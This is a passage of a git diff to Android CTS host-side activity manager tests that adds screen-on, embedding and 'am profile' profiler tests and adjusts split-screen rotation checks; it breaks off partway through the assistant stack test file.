diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/appDebuggable/src/android/server/cts/debuggable/DebuggableAppActivity.java b/hostsidetests/services/activityandwindowmanager/activitymanager/appDebuggable/src/android/server/cts/debuggable/DebuggableAppActivity.java
new file mode 100644
index 0000000..504ffcf
--- /dev/null
+++ b/hostsidetests/services/activityandwindowmanager/activitymanager/appDebuggable/src/android/server/cts/debuggable/DebuggableAppActivity.java
@@ -0,0 +1,22 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.cts.debuggable;
+
+import android.app.Activity;
+
+public class DebuggableAppActivity extends Activity {
+}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/appDisplaySize/Android.mk b/hostsidetests/services/activityandwindowmanager/activitymanager/appDisplaySize/Android.mk
index 7f7abd2..98feb61 100644
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/appDisplaySize/Android.mk
+++ b/hostsidetests/services/activityandwindowmanager/activitymanager/appDisplaySize/Android.mk
@@ -24,7 +24,7 @@
LOCAL_SDK_VERSION := test_current
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_PACKAGE_NAME := CtsDeviceDisplaySizeApp
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/appSecondUid/Android.mk b/hostsidetests/services/activityandwindowmanager/activitymanager/appSecondUid/Android.mk
index b591589..1456d22 100644
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/appSecondUid/Android.mk
+++ b/hostsidetests/services/activityandwindowmanager/activitymanager/appSecondUid/Android.mk
@@ -24,7 +24,7 @@
LOCAL_SDK_VERSION := test_current
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_PACKAGE_NAME := CtsDeviceServicesTestSecondApp
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/appSecondUid/AndroidManifest.xml b/hostsidetests/services/activityandwindowmanager/activitymanager/appSecondUid/AndroidManifest.xml
index 8d5c7a0..53aa2d4 100644
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/appSecondUid/AndroidManifest.xml
+++ b/hostsidetests/services/activityandwindowmanager/activitymanager/appSecondUid/AndroidManifest.xml
@@ -19,9 +19,16 @@
package="android.server.cts.second">
<application>
- <activity android:name=".SecondActivity"
- android:resizeableActivity="true"
- android:exported="true" />
+ <activity
+ android:name=".SecondActivity"
+ android:resizeableActivity="true"
+ android:allowEmbedded="true"
+ android:exported="true" />
+ <activity
+ android:name=".SecondActivityNoEmbedding"
+ android:resizeableActivity="true"
+ android:allowEmbedded="false"
+ android:exported="true" />
<receiver
android:name=".LaunchBroadcastReceiver"
android:enabled="true"
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/appSecondUid/src/android/server/cts/second/LaunchBroadcastReceiver.java b/hostsidetests/services/activityandwindowmanager/activitymanager/appSecondUid/src/android/server/cts/second/LaunchBroadcastReceiver.java
index 0db6b19..a8ebb86 100644
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/appSecondUid/src/android/server/cts/second/LaunchBroadcastReceiver.java
+++ b/hostsidetests/services/activityandwindowmanager/activitymanager/appSecondUid/src/android/server/cts/second/LaunchBroadcastReceiver.java
@@ -43,7 +43,7 @@
}
ActivityOptions options = ActivityOptions.makeBasic();
- int displayId = extras.getInt("target_display", -1);
+ int displayId = extras.getInt("display_id", -1);
if (displayId != -1) {
options.setLaunchDisplayId(displayId);
newIntent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK | Intent.FLAG_ACTIVITY_MULTIPLE_TASK);
@@ -54,7 +54,7 @@
try {
context.startActivity(newIntent, options.toBundle());
} catch (SecurityException e) {
- Log.i(TAG, "SecurityException launching activity");
+ Log.e(TAG, "SecurityException launching activity");
}
}
}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/appSecondUid/src/android/server/cts/second/SecondActivityNoEmbedding.java b/hostsidetests/services/activityandwindowmanager/activitymanager/appSecondUid/src/android/server/cts/second/SecondActivityNoEmbedding.java
new file mode 100644
index 0000000..543e008
--- /dev/null
+++ b/hostsidetests/services/activityandwindowmanager/activitymanager/appSecondUid/src/android/server/cts/second/SecondActivityNoEmbedding.java
@@ -0,0 +1,22 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.cts.second;
+
+import android.app.Activity;
+
+public class SecondActivityNoEmbedding extends Activity {
+}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/appThirdUid/Android.mk b/hostsidetests/services/activityandwindowmanager/activitymanager/appThirdUid/Android.mk
index 4e71662..733f7a9 100644
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/appThirdUid/Android.mk
+++ b/hostsidetests/services/activityandwindowmanager/activitymanager/appThirdUid/Android.mk
@@ -24,7 +24,7 @@
LOCAL_SDK_VERSION := test_current
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_PACKAGE_NAME := CtsDeviceServicesTestThirdApp
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/appThirdUid/AndroidManifest.xml b/hostsidetests/services/activityandwindowmanager/activitymanager/appThirdUid/AndroidManifest.xml
index ff4b987..aed24c7 100644
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/appThirdUid/AndroidManifest.xml
+++ b/hostsidetests/services/activityandwindowmanager/activitymanager/appThirdUid/AndroidManifest.xml
@@ -21,6 +21,7 @@
<application>
<activity android:name=".ThirdActivity"
android:resizeableActivity="true"
+ android:allowEmbedded="true"
android:exported="true" />
</application>
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerActivityVisibilityTests.java b/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerActivityVisibilityTests.java
index c647be4..c51f24a 100644
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerActivityVisibilityTests.java
+++ b/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerActivityVisibilityTests.java
@@ -17,6 +17,7 @@
package android.server.cts;
import static android.server.cts.ActivityManagerState.STATE_RESUMED;
+import static android.server.cts.StateLogger.logE;
import android.platform.test.annotations.Presubmit;
@@ -26,6 +27,7 @@
import static com.android.ddmlib.Log.LogLevel.INFO;
import com.android.tradefed.log.LogUtil.CLog;
+import com.android.tradefed.device.DeviceNotAvailableException;
/**
* Build: mmma -j32 cts/hostsidetests/services
@@ -40,8 +42,20 @@
private static final String TURN_SCREEN_ON_ACTIVITY_NAME = "TurnScreenOnActivity";
private static final String MOVE_TASK_TO_BACK_ACTIVITY_NAME = "MoveTaskToBackActivity";
private static final String SWIPE_REFRESH_ACTIVITY = "SwipeRefreshActivity";
- private static final String NOHISTORY_ACTIVITY = "NoHistoryActivity";
+ private static final String NOHISTORY_ACTIVITY = "NoHistoryActivity";
+ private static final String TURN_SCREEN_ON_ATTR_ACTIVITY_NAME = "TurnScreenOnAttrActivity";
+ private static final String TURN_SCREEN_ON_SHOW_ON_LOCK_ACTIVITY_NAME = "TurnScreenOnShowOnLockActivity";
+ private static final String TURN_SCREEN_ON_ATTR_REMOVE_ATTR_ACTIVITY_NAME = "TurnScreenOnAttrRemoveAttrActivity";
+ private static final String TURN_SCREEN_ON_SINGLE_TASK_ACTIVITY_NAME = "TurnScreenOnSingleTaskActivity";
+ private static final String TURN_SCREEN_ON_WITH_RELAYOUT_ACTIVITY =
+ "TurnScreenOnWithRelayoutActivity";
+
+ @Override
+ protected void tearDown() throws Exception {
+ super.tearDown();
+ tearDownLockCredentials();
+ }
public void testTranslucentActivityOnTopOfPinnedStack() throws Exception {
if (!supportsPip()) {
@@ -163,7 +177,9 @@
private void performFinishActivityWithMoveTaskToBack(String finishPoint) throws Exception {
// Make sure home activity is visible.
launchHomeActivity();
- mAmWmState.assertHomeActivityVisible(true /* visible */);
+ if (!noHomeScreen()) {
+ mAmWmState.assertHomeActivityVisible(true /* visible */);
+ }
// Launch an activity that calls "moveTaskToBack" to finish itself.
launchActivity(MOVE_TASK_TO_BACK_ACTIVITY_NAME, "finish_point", finishPoint);
@@ -180,8 +196,10 @@
executeShellCommand(FINISH_ACTIVITY_BROADCAST);
// Home must be visible.
- mAmWmState.waitForHomeActivityVisible(mDevice);
- mAmWmState.assertHomeActivityVisible(true /* visible */);
+ if (!noHomeScreen()) {
+ mAmWmState.waitForHomeActivityVisible(mDevice);
+ mAmWmState.assertHomeActivityVisible(true /* visible */);
+ }
}
/**
@@ -191,7 +209,9 @@
public void testReorderToFrontBackstack() throws Exception {
// Start with home on top
launchHomeActivity();
- mAmWmState.assertHomeActivityVisible(true /* visible */);
+ if (!noHomeScreen()) {
+ mAmWmState.assertHomeActivityVisible(true /* visible */);
+ }
// Launch the launching activity to the foreground
launchActivity(LAUNCHING_ACTIVITY);
@@ -223,7 +243,9 @@
public void testReorderToFrontChangingStack() throws Exception {
// Start with home on top
launchHomeActivity();
- mAmWmState.assertHomeActivityVisible(true /* visible */);
+ if (!noHomeScreen()) {
+ mAmWmState.assertHomeActivityVisible(true /* visible */);
+ }
// Launch the launching activity to the foreground
launchActivity(LAUNCHING_ACTIVITY);
@@ -234,7 +256,9 @@
// Return home
launchHomeActivity();
- mAmWmState.assertHomeActivityVisible(true /* visible */);
+ if (!noHomeScreen()) {
+ mAmWmState.assertHomeActivityVisible(true /* visible */);
+ }
// Launch the launching activity from the alternate launching activity with reorder to
// front.
@@ -260,6 +284,10 @@
* above becomes visible and does not idle.
*/
public void testNoHistoryActivityFinishedResumedActivityNotIdle() throws Exception {
+ if (noHomeScreen()) {
+ return;
+ }
+
// Start with home on top
launchHomeActivity();
@@ -273,4 +301,104 @@
mAmWmState.waitForHomeActivityVisible(mDevice);
mAmWmState.assertHomeActivityVisible(true);
}
+
+ public void testTurnScreenOnAttrNoLockScreen() throws Exception {
+ wakeUpAndRemoveLock();
+ sleepDevice();
+ final String logSeparator = clearLogcat();
+ launchActivity(TURN_SCREEN_ON_ATTR_ACTIVITY_NAME);
+ mAmWmState.computeState(mDevice, new String[] { TURN_SCREEN_ON_ATTR_ACTIVITY_NAME });
+ mAmWmState.assertVisibility(TURN_SCREEN_ON_ATTR_ACTIVITY_NAME, true);
+ assertTrue(isDisplayOn());
+ assertSingleLaunch(TURN_SCREEN_ON_ATTR_ACTIVITY_NAME, logSeparator);
+ }
+
+ public void testTurnScreenOnAttrWithLockScreen() throws Exception {
+ if (!isHandheld()) {
+ // This test requires the ability to have a lock screen.
+ return;
+ }
+
+ setLockCredential();
+ sleepDevice();
+ final String logSeparator = clearLogcat();
+ launchActivity(TURN_SCREEN_ON_ATTR_ACTIVITY_NAME);
+ mAmWmState.computeState(mDevice, new String[] { TURN_SCREEN_ON_ATTR_ACTIVITY_NAME });
+ assertFalse(isDisplayOn());
+ assertSingleLaunchAndStop(TURN_SCREEN_ON_ATTR_ACTIVITY_NAME, logSeparator);
+ }
+
+ public void testTurnScreenOnShowOnLockAttr() throws Exception {
+ sleepDevice();
+ mAmWmState.waitForAllStoppedActivities(mDevice);
+ final String logSeparator = clearLogcat();
+ launchActivity(TURN_SCREEN_ON_SHOW_ON_LOCK_ACTIVITY_NAME);
+ mAmWmState.computeState(mDevice, new String[] { TURN_SCREEN_ON_SHOW_ON_LOCK_ACTIVITY_NAME });
+ mAmWmState.assertVisibility(TURN_SCREEN_ON_SHOW_ON_LOCK_ACTIVITY_NAME, true);
+ assertTrue(isDisplayOn());
+ assertSingleLaunch(TURN_SCREEN_ON_SHOW_ON_LOCK_ACTIVITY_NAME, logSeparator);
+ }
+
+ public void testTurnScreenOnAttrRemove() throws Exception {
+ sleepDevice();
+ mAmWmState.waitForAllStoppedActivities(mDevice);
+ String logSeparator = clearLogcat();
+ launchActivity(TURN_SCREEN_ON_ATTR_REMOVE_ATTR_ACTIVITY_NAME);
+ mAmWmState.computeState(mDevice, new String[] {
+ TURN_SCREEN_ON_ATTR_REMOVE_ATTR_ACTIVITY_NAME});
+ assertTrue(isDisplayOn());
+ assertSingleLaunch(TURN_SCREEN_ON_ATTR_REMOVE_ATTR_ACTIVITY_NAME, logSeparator);
+
+ sleepDevice();
+ mAmWmState.waitForAllStoppedActivities(mDevice);
+ logSeparator = clearLogcat();
+ launchActivity(TURN_SCREEN_ON_ATTR_REMOVE_ATTR_ACTIVITY_NAME);
+ assertFalse(isDisplayOn());
+ assertSingleStartAndStop(TURN_SCREEN_ON_ATTR_REMOVE_ATTR_ACTIVITY_NAME, logSeparator);
+ }
+
+ public void testTurnScreenOnSingleTask() throws Exception {
+ sleepDevice();
+ String logSeparator = clearLogcat();
+ launchActivity(TURN_SCREEN_ON_SINGLE_TASK_ACTIVITY_NAME);
+ mAmWmState.computeState(mDevice, new String[] { TURN_SCREEN_ON_SINGLE_TASK_ACTIVITY_NAME });
+ mAmWmState.assertVisibility(TURN_SCREEN_ON_SINGLE_TASK_ACTIVITY_NAME, true);
+ assertTrue(isDisplayOn());
+ assertSingleLaunch(TURN_SCREEN_ON_SINGLE_TASK_ACTIVITY_NAME, logSeparator);
+
+ sleepDevice();
+ logSeparator = clearLogcat();
+ launchActivity(TURN_SCREEN_ON_SINGLE_TASK_ACTIVITY_NAME);
+ mAmWmState.computeState(mDevice, new String[] { TURN_SCREEN_ON_SINGLE_TASK_ACTIVITY_NAME });
+ mAmWmState.assertVisibility(TURN_SCREEN_ON_SINGLE_TASK_ACTIVITY_NAME, true);
+ assertTrue(isDisplayOn());
+ assertSingleStart(TURN_SCREEN_ON_SINGLE_TASK_ACTIVITY_NAME, logSeparator);
+ }
+
+ public void testTurnScreenOnActivity_withRelayout() throws Exception {
+ sleepDevice();
+ launchActivity(TURN_SCREEN_ON_WITH_RELAYOUT_ACTIVITY);
+ mAmWmState.computeState(mDevice, new String[] { TURN_SCREEN_ON_WITH_RELAYOUT_ACTIVITY });
+ mAmWmState.assertVisibility(TURN_SCREEN_ON_WITH_RELAYOUT_ACTIVITY, true);
+
+ String logSeparator = clearLogcat();
+ sleepDevice();
+ mAmWmState.waitFor("Waiting for stopped state", () ->
+ lifecycleStopOccurred(TURN_SCREEN_ON_WITH_RELAYOUT_ACTIVITY, logSeparator));
+
+ // Ensure there was an actual stop if the waitFor timed out.
+ assertTrue(lifecycleStopOccurred(TURN_SCREEN_ON_WITH_RELAYOUT_ACTIVITY, logSeparator));
+ assertFalse(isDisplayOn());
+ }
+
+ private boolean lifecycleStopOccurred(String activityName, String logSeparator) {
+ try {
+ ActivityLifecycleCounts lifecycleCounts = new ActivityLifecycleCounts(activityName,
+ logSeparator);
+ return lifecycleCounts.mStopCount > 0;
+ } catch (DeviceNotAvailableException e) {
+ logE(e.toString());
+ return false;
+ }
+ }
}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerAmProfileTests.java b/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerAmProfileTests.java
new file mode 100644
index 0000000..f462c60
--- /dev/null
+++ b/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerAmProfileTests.java
@@ -0,0 +1,166 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.cts;
+
+import com.google.common.io.Files;
+
+import com.android.tradefed.device.DeviceNotAvailableException;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.util.FileUtil;
+
+import java.io.File;
+import java.lang.StringBuilder;
+
+/**
+ * Build: mmma -j32 cts/hostsidetests/services
+ * Run: cts/hostsidetests/services/activityandwindowmanager/util/run-test CtsServicesHostTestCases android.server.cts.ActivityManagerAmProfileTests
+ *
+ * Please talk to Android Studio team first if you want to modify or delete these tests.
+ */
+public class ActivityManagerAmProfileTests extends ActivityManagerTestBase {
+
+ private static final String TEST_PACKAGE_NAME = "android.server.cts.debuggable";
+ private static final String TEST_ACTIVITY_NAME = "DebuggableAppActivity";
+ private static final String OUTPUT_FILE_PATH = "/data/local/tmp/profile.trace";
+ private static final String FIRST_WORD_NO_STREAMING = "*version\n";
+ private static final String FIRST_WORD_STREAMING = "SLOW"; // Magic word set by runtime.
+
+ private ITestDevice mDevice;
+
+ @Override
+ protected void setUp() throws Exception {
+ super.setUp();
+ mDevice = getDevice();
+ setComponentName(TEST_PACKAGE_NAME);
+ }
+
+ /**
+ * Test am profile functionality with the following 3 configurable options:
+ * starting the activity before start profiling? yes;
+ * sampling-based profiling? no;
+ * using streaming output mode? no.
+ */
+ public void testAmProfileStartNoSamplingNoStreaming() throws Exception {
+ // am profile start ... , and the same to the following 3 test methods.
+ testProfile(true, false, false);
+ }
+
+ /**
+ * The following tests are similar to testAmProfileStartNoSamplingNoStreaming(),
+ * only different in the three configuration options.
+ */
+ public void testAmProfileStartNoSamplingStreaming() throws Exception {
+ testProfile(true, false, true);
+ }
+ public void testAmProfileStartSamplingNoStreaming() throws Exception {
+ testProfile(true, true, false);
+ }
+ public void testAmProfileStartSamplingStreaming() throws Exception {
+ testProfile(true, true, true);
+ }
+ public void testAmStartStartProfilerNoSamplingNoStreaming() throws Exception {
+ // am start --start-profiler ..., and the same to the following 3 test methods.
+ testProfile(false, false, false);
+ }
+ public void testAmStartStartProfilerNoSamplingStreaming() throws Exception {
+ testProfile(false, false, true);
+ }
+ public void testAmStartStartProfilerSamplingNoStreaming() throws Exception {
+ testProfile(false, true, false);
+ }
+ public void testAmStartStartProfilerSamplingStreaming() throws Exception {
+ testProfile(false, true, true);
+ }
+
+ private void testProfile(boolean startActivityFirst,
+ boolean sampling, boolean streaming) throws Exception {
+ if (startActivityFirst) {
+ launchActivity(TEST_ACTIVITY_NAME);
+ }
+
+ String cmd = getStartCmd(TEST_ACTIVITY_NAME, startActivityFirst, sampling, streaming);
+ executeShellCommand(cmd);
+ // Go to home screen and then warm start the activity to generate some interesting trace.
+ pressHomeButton();
+ launchActivity(TEST_ACTIVITY_NAME);
+
+ cmd = "am profile stop " + componentName;
+ executeShellCommand(cmd);
+ // Sleep for 0.1 second (100 milliseconds) so the generation of the profiling
+ // file is complete.
+ try {
+ Thread.sleep(100);
+ } catch (InterruptedException e) {
+ //ignored
+ }
+ verifyOutputFileFormat(streaming);
+ }
+
+ private String getStartCmd(String activityName, boolean activityAlreadyStarted,
+ boolean sampling, boolean streaming) {
+ StringBuilder builder = new StringBuilder("am");
+ if (activityAlreadyStarted) {
+ builder.append(" profile start");
+ } else {
+ builder.append(String.format(" start -n %s/.%s -W -S --start-profiler %s",
+ componentName, activityName, OUTPUT_FILE_PATH));
+ }
+ if (sampling) {
+ builder.append(" --sampling 1000");
+ }
+ if (streaming) {
+ builder.append(" --streaming");
+ }
+ if (activityAlreadyStarted) {
+ builder.append(String.format(" %s %s", componentName, OUTPUT_FILE_PATH));
+ } else {
+
+ }
+ return builder.toString();
+ }
+
+ private void verifyOutputFileFormat(boolean streaming) throws Exception {
+ String expectedFirstWord = streaming ? FIRST_WORD_STREAMING : FIRST_WORD_NO_STREAMING;
+ byte[] data = readFileOnClient(OUTPUT_FILE_PATH);
+ assertTrue("data size=" + data.length, data.length >= expectedFirstWord.length());
+ String actualFirstWord = new String(data, 0, expectedFirstWord.length());
+ assertTrue("Unexpected first word: '" + actualFirstWord + "'",
+ actualFirstWord.equals(expectedFirstWord));
+ // Clean up.
+ executeShellCommand("rm -f " + OUTPUT_FILE_PATH);
+ }
+
+ private byte[] readFileOnClient(String clientPath) throws Exception {
+ assertTrue("File not found on client: " + clientPath,
+ mDevice.doesFileExist(clientPath));
+ File copyOnHost = File.createTempFile("host", "copy");
+ try {
+ executeAdbCommand("pull", clientPath, copyOnHost.getPath());
+ return Files.toByteArray(copyOnHost);
+ } finally {
+ FileUtil.deleteFile(copyOnHost);
+ }
+ }
+
+ private String[] executeAdbCommand(String... command) throws DeviceNotAvailableException {
+ String output = mDevice.executeAdbCommand(command);
+ // "".split() returns { "" }, but we want an empty array
+ String[] lines = output.equals("") ? new String[0] : output.split("\n");
+ return lines;
+ }
+
+}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerAppConfigurationTests.java b/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerAppConfigurationTests.java
old mode 100644
new mode 100755
index 24b96ea..0269b5a
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerAppConfigurationTests.java
+++ b/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerAppConfigurationTests.java
@@ -19,6 +19,8 @@
import android.platform.test.annotations.Presubmit;
+import android.server.cts.ActivityManagerState.ActivityStack;
+import android.server.cts.ActivityManagerState.ActivityTask;
import com.android.ddmlib.Log.LogLevel;
import com.android.tradefed.log.LogUtil.CLog;
@@ -41,7 +43,6 @@
private static final String DIALOG_WHEN_LARGE_ACTIVITY = "DialogWhenLargeActivity";
private static final String TRANSLUCENT_ACTIVITY = "TranslucentLandscapeActivity";
-
private static final String TRANSLUCENT_CURRENT_PACKAGE = "android.server.translucentapp";
private static final String EXTRA_LAUNCH_NEW_TASK = "launch_new_task";
@@ -81,7 +82,7 @@
* Same as {@link #testConfigurationUpdatesWhenResizedFromFullscreen()} but resizing
* from docked state to fullscreen (reverse).
*/
- @Presubmit
+ // TODO: Flaky, add to presubmit when b/63404575 is fixed.
public void testConfigurationUpdatesWhenResizedFromDockedStack() throws Exception {
if (!supportsSplitScreenMultiWindow()) {
CLog.logAndDisplay(LogLevel.INFO, "Skipping test: no multi-window support");
@@ -122,7 +123,7 @@
* Same as {@link #testConfigurationUpdatesWhenRotatingWhileFullscreen()} but when the Activity
* is in the docked stack.
*/
- @Presubmit
+ // TODO: Flaky, add to presubmit when b/63404575 is fixed.
public void testConfigurationUpdatesWhenRotatingWhileDocked() throws Exception {
if (!supportsSplitScreenMultiWindow()) {
CLog.logAndDisplay(LogLevel.INFO, "Skipping test: no multi-window support");
@@ -158,6 +159,7 @@
final String logSeparator = clearLogcat();
launchActivityInDockStack(LAUNCHING_ACTIVITY);
+
getLaunchActivityBuilder().setToSide(true).setTargetActivityName(RESIZEABLE_ACTIVITY_NAME)
.execute();
final ReportedSizes initialSizes = getActivityDisplaySize(RESIZEABLE_ACTIVITY_NAME,
@@ -167,26 +169,6 @@
}
private void rotateAndCheckSizes(ReportedSizes prevSizes) throws Exception {
- // If an activity gets almost square frame,
- // resize docked stack to make sure the activity gets a non-square frame.
- Rectangle adjustedDockedBounds = new Rectangle();
- if (isInSplitMode(RESIZEABLE_ACTIVITY_NAME)) {
- final int appWidth = prevSizes.displayWidth;
- final int appHeight = prevSizes.displayHeight;
- final float aspectRatio = (appWidth > appHeight) ?
- appWidth / (float) appHeight : appHeight / (float) appWidth;
- if (aspectRatio < 1.1f) {
- final String logSeparator = clearLogcat();
- Rectangle dockBounds = mAmWmState.getAmState().getStackById(
- DOCKED_STACK_ID).getBounds();
- adjustedDockedBounds.setBounds(dockBounds.x, dockBounds.y,
- (int) (dockBounds.width * 0.5f), (int) (dockBounds.height * 0.7f));
- resizeDockedStack(adjustedDockedBounds.width, adjustedDockedBounds.height,
- adjustedDockedBounds.width, adjustedDockedBounds.height);
- prevSizes = getActivityDisplaySize(RESIZEABLE_ACTIVITY_NAME, logSeparator);
- }
- }
-
for (int rotation = 3; rotation >= 0; --rotation) {
final String logSeparator = clearLogcat();
final int actualStackId = mAmWmState.getAmState().getTaskByActivityName(
@@ -203,16 +185,6 @@
return;
}
- if (!adjustedDockedBounds.isEmpty()) {
- if (rotation == ROTATION_0 || rotation == ROTATION_180) {
- resizeDockedStack(adjustedDockedBounds.width, adjustedDockedBounds.height,
- adjustedDockedBounds.width, adjustedDockedBounds.height);
- } else {
- resizeDockedStack(adjustedDockedBounds.height, adjustedDockedBounds.width,
- adjustedDockedBounds.height, adjustedDockedBounds.width);
- }
- }
-
final ReportedSizes rotatedSizes = getActivityDisplaySize(RESIZEABLE_ACTIVITY_NAME,
logSeparator);
assertSizesRotate(prevSizes, rotatedSizes);
@@ -220,17 +192,6 @@
}
}
- private boolean isInSplitMode(String activityName) throws Exception {
- mAmWmState.computeState(mDevice, new String[] { activityName });
- ActivityManagerState.ActivityTask task = mAmWmState.getAmState().getTaskByActivityName(
- activityName);
- return task != null && !task.isFullscreen() &&
- (task.mStackId == HOME_STACK_ID
- || task.mStackId == FULLSCREEN_WORKSPACE_STACK_ID
- || task.mStackId == DOCKED_STACK_ID
- || task.mStackId == RECENTS_STACK_ID);
- }
-
/**
* Tests when activity moved from fullscreen stack to docked and back. Activity will be
* relaunched twice and it should have same config as initial one.
@@ -380,9 +341,9 @@
1 /* portrait */, initialReportedSizes.orientation);
logSeparator = clearLogcat();
- // TODO(b/38225467): Target SDK 26 specific package when SDK 27 released.
launchActivityInComponent(TRANSLUCENT_CURRENT_PACKAGE, TRANSLUCENT_ACTIVITY);
- assertEquals("Legacy non-fullscreen activity requested landscape orientation",
+
+ assertEquals("non-fullscreen activity requested landscape orientation",
0 /* landscape */, mAmWmState.getWmState().getLastOrientation());
// TODO(b/36897968): uncomment once we can suppress unsupported configurations
@@ -392,24 +353,13 @@
// 1 /* portrait */, updatedReportedSizes.orientation);
}
-// TODO(b/38225467): Uncomment when SDK 27 is released.
-// public void testNonFullscreenActivityProhibited() throws Exception {
-// setComponentName(TRANSLUCENT_CURRENT_PACKAGE);
-// launchActivity(TRANSLUCENT_ACTIVITY);
-// mAmWmState.assertNotResumedActivity(
-// "target SDK > 25 non-fullscreen activity should not reach onResume",
-// TRANSLUCENT_ACTIVITY);
-// }
-
- // TODO(b/38225467): rename to testLegacyNonFullscreenActivityPermitted
public void testNonFullscreenActivityPermitted() throws Exception {
- // TODO(b/38225467): Target SDK 26 specific package when SDK 27 released.
setComponentName(TRANSLUCENT_CURRENT_PACKAGE);
setDeviceRotation(0);
launchActivity(TRANSLUCENT_ACTIVITY);
mAmWmState.assertResumedActivity(
- "target SDK <= 26 non-fullscreen activity should be allowed to launch",
+ "target SDK non-fullscreen activity should be allowed to launch",
TRANSLUCENT_ACTIVITY);
assertEquals("non-fullscreen activity requested landscape orientation",
0 /* landscape */, mAmWmState.getWmState().getLastOrientation());
@@ -440,7 +390,7 @@
executeShellCommand(FINISH_ACTIVITY_BROADCAST);
// Verify that activity brought to front is in originally requested orientation.
- mAmWmState.waitForValidState(mDevice, LANDSCAPE_ACTIVITY_NAME);
+ mAmWmState.computeState(mDevice, new String[]{LANDSCAPE_ACTIVITY_NAME});
assertEquals("Should return to app in landscape orientation",
0 /* landscape */, mAmWmState.getWmState().getLastOrientation());
}
@@ -503,6 +453,11 @@
*/
private void requestOrientationInSplitScreen(int orientation, String activity)
throws Exception {
+ if (!supportsSplitScreenMultiWindow()) {
+ CLog.logAndDisplay(LogLevel.INFO, "Skipping test: no multi-window support");
+ return;
+ }
+
// Set initial orientation.
setDeviceRotation(orientation);
@@ -553,9 +508,7 @@
logSeparator = clearLogcat();
moveActivityToStack(activityName, DOCKED_STACK_ID);
final ReportedSizes finalDockedSizes = getActivityDisplaySize(activityName, logSeparator);
-
- // After activity configuration was changed twice it must report same size as original one.
- assertSizesAreSame(initialDockedSizes, finalDockedSizes);
+ assertSizesAreSane(fullscreenSizes, finalDockedSizes);
}
/**
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerAssistantStackTests.java b/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerAssistantStackTests.java
index 80a8e5f..f2f5589 100644
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerAssistantStackTests.java
+++ b/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerAssistantStackTests.java
@@ -16,7 +16,6 @@
package android.server.cts;
-import static android.server.cts.ActivityAndWindowManagersState.DEFAULT_DISPLAY_ID;
import static android.server.cts.ActivityManagerState.STATE_RESUMED;
/**
@@ -31,6 +30,7 @@
private static final String ANIMATION_TEST_ACTIVITY = "AnimationTestActivity";
private static final String DOCKED_ACTIVITY = "DockedActivity";
private static final String ASSISTANT_ACTIVITY = "AssistantActivity";
